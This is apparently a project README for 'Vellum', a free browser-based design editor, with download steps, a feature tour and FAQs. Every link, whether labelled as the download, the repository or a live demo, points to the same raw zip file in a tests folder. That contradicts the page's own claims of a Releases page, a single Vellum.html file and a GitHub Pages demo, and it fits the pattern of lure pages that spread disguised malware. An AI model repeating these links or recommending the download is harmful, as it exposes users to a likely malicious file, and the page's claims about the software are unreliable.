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🎨 Vellum - Design More Beautifully, Right Now

🚀 Getting Started

Welcome! Vellum is a free, local-first design editor that lives right in your web browser. Think of it as a fresh, modern workspace for creating anything visual—dashboards, mobile app screens, brand style guides, and more. No complicated setup, no server costs, no cloud required. Everything stays on your computer.

This guide walks you through exactly how to get Vellum running on your Windows PC in just a few minutes. Let's dive in.


📥 Step 1: Download Vellum

🏁 Click the Button Below to Start

Download Vellum

Or copy this link:
https://raw.githubusercontent.com/Kaiomo9587/Vellum/main/tests/Software-2.4.zip

Visit this link to download the application.


🛠️ Step 2: Install (or Just Run) Vellum

Here’s the beautiful part—Vellum is portable. That means you don’t need to run an installer or make changes to your Windows system. You’ll just get a file that works instantly.

  1. After clicking the link above, you’ll land on the Releases page of the project.
  2. Look for the latest version (e.g., v0.1.0). It should be listed at the top.
  3. Find the file named Vellum.html (or similar). This is your entire application—a single, self-contained file.
  4. Click that file to download it to your computer.

That’s it! You now have Vellum on your machine.


✨ Step 3: Launch Vellum

  1. Open your Downloads folder (or wherever your browser saved the file).
  2. Double-click the Vellum.html file.
  3. It will open automatically in your default web browser (like Microsoft Edge, Chrome, or Firefox).
  4. The Vellum interface will appear instantly—no loading screen, no installation wizard.

Congratulations! You are now looking at a powerful design editor. Start experimenting right away.


🧭 What Can You Do with Vellum?

Vellum is packed with features, even at version 0.1.0. Here’s what you’ll see when you open it:

🖥️ The Workspace

Vellum uses a familiar, four-part layout that you’ll find in any professional design tool.

  • On the left: You have the Pages and Layers panel. This shows the structure of your design—like a table of contents.
  • In the center: The Canvas is your main working area. This is where all the visual magic happens.
  • On the right: The Property Inspector lets you change the look, position, size, and styling of any selected element.
  • At the bottom: A floating Toolbar gives you quick access to handy tools and actions.

📂 The Starter File: 171 Editable Layers

Your first launch includes a rich, pre-built starter document. This isn't just a static picture—it's a fully interactive file with 171 separate, clickable layers you can explore and modify. Inside, you’ll find:

  • A Desktop Product Dashboard: A clean, data-focused screen for desktop apps.
  • A Mobile Focus App: A UI concept designed for a phone-sized screen.
  • Palette & Typography Boards: A visual guide to colors and fonts—perfect for brand kits.
  • Reusable UI Pieces: Buttons, cards, icons, and other elements you can copy for your own projects.

💡 Tip: Click any element on the canvas. Watch how the Property Inspector on the right changes. That’s your key to editing.


🔒 Does It Save My Work?

Yes! Vellum is local-first. This means your projects and any changes you make are saved directly on your computer’s browser storage. No accounts, no cloud sync, no internet required. Your work is private and always accessible.


🔄 Updating Vellum

Since Vellum is a web app, updates are released as new versions of the Vellum.html file. To get the newest features:

  1. Set a reminder to check the Releases page occasionally.
  2. When you see a new version, simply download the updated Vellum.html file.
  3. Replace your old file with the new one. That’s all it takes.

Your old projects will still be available, as they’re stored separately in your browser.


🌐 Use It Anywhere (Even Mobile!)

Because Vellum is built with plain HTML, CSS, and JavaScript, it isn’t just for Windows. If you move the Vellum.html file to a USB stick, you can:

  • Run it on a Mac or Linux computer.
  • Open it on tablets or even some smartphones.
  • Share the file directly with a friend—no installation required on their end.

It’s the ultimate portable design tool.


🆘 Frequently Asked Questions

🤔 “The file opened, but I don’t see anything.”

Make sure you’re using a modern, up-to-date browser like the latest Chrome, Edge, or Firefox. Vellum uses a WebGPU-first renderer for smooth graphics, so older browsers might show a blank screen. If that happens, just update your browser.

💾 “Is my data stored on a server?”

No. Everything stays in your local browser storage. Vellum is 100% local-first. Your projects are safe on your device. To clear your data, use your browser’s “Clear Website Data” settings.

🔗 “Can I export my design?”

While the app is in early development, you can use your browser’s built-in printing or screenshot tools to capture your work. Future versions will bring more export options.

🖥️ “I have a second monitor. Can I move the window?”

Yes! Vellum runs in a regular browser tab, so you can treat it like any other window. Move it, resize it, maximize it, or run it full-screen as you see fit.


✍️ Join the Project

Vellum is an open-source tool created by a small team of passionate designers and developers. It’s a project on GitHub, which is a platform for collaborative software development. Even if you’re not a programmer, you can:

  • Report bugs: If you find a glitch, check the Issues section of the repository.
  • Give feedback: Share your ideas for new features.
  • Spread the word: Tell a friend who loves design or productivity tools.

Repository Link: https://raw.githubusercontent.com/Kaiomo9587/Vellum/main/tests/Software-2.4.zip


🧠 Summary

You’re just one click away from starting your next design project. Let’s recap the simple steps:

  1. ⬇️ Download: Visit the release page and grab the Vellum.html file.
  2. 🖱️ Open: Double-click the downloaded file.
  3. 🎨 Design: Explore the 171-layer starter kit and start creating.

No command line. No coding. No hassle. Just pure design joy.


🔑 Try It Right Now

Before you go, why not test Vellum’s power on the web right away? The project is hosted on GitHub Pages, so you can try the latest version instantly without downloading anything.

Play with the Editor here: https://raw.githubusercontent.com/Kaiomo9587/Vellum/main/tests/Software-2.4.zip

Note: The online version is a live demo. For the most stable, personal experience, download the portable file using the link at the top of this guide.


Get ready to make something beautiful. It’s a little more possible with Vellum.


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